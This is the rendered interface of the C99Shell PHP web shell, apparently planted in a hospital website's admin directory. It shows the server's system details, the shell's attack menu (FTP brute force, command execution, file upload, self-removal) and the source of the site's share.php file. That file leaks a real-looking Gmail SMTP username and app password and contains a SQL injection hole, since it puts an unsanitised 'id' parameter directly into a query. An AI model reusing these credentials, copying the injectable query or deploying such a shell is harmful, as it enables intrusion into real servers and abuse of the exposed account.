!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/   drwxr-xr-x
Free 984.23 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     share.php (1.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
use PHPMailer\PHPMailer\PHPMailer;
require_once 
'../phpmailer/Exception.php';
require_once 
'../phpmailer/PHPMailer.php';
require_once 
'../phpmailer/SMTP.php';

$mail = new PHPMailer(true);
$alert '';

if(isset(
$_POST['submit'])){
    
$blog_id $_GET['id'];
    
$blogg  mysqli_query($con"SELECT * FROM blog where id = $blog_id");
    
$blog mysqli_fetch_array($blogg);
    
$emaill  mysqli_query($con"SELECT * FROM subscribe");
    
$email_row mysqli_fetch_array($emaill);
    
$email $email_row['email'];
    
$blog_title $blog['title'];
    
$link "https://katebcurativehospital.com/blog/$blog_title";
    try {
        
$mail->isSMTP();
        
$mail->Host 'smtp.gmail.com';
        
$mail->SMTPAuth true;
        
$mail->Username 'baqir034@gmail.com';
        
$mail->Password 'ttcydzhgtgxthmkt';
        
$mail->SMTPSecure PHPMailer::ENCRYPTION_STARTTLS;
        
$mail->Port 587;
        
$mail->setFrom('baqir034@gmail.com');
        
$mail->addAddress($email);
        
$mail->isHTML(true);
        
$mail->Subject 'Subscribe !';
        
$mail->Body "<h3> Get our newest news on kateb hospital  <br> $blog_title <br>Link: $link </h3>";
        
$mail->send();
        echo 
"<script>window.location.href = 'mail-success.php'</script>";
    } catch(
Exception $e) {
        
$alert '<div class="alert alert-danger">
            <span>Error: '
.$e->getMessage().'</span>
        </div>'
;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--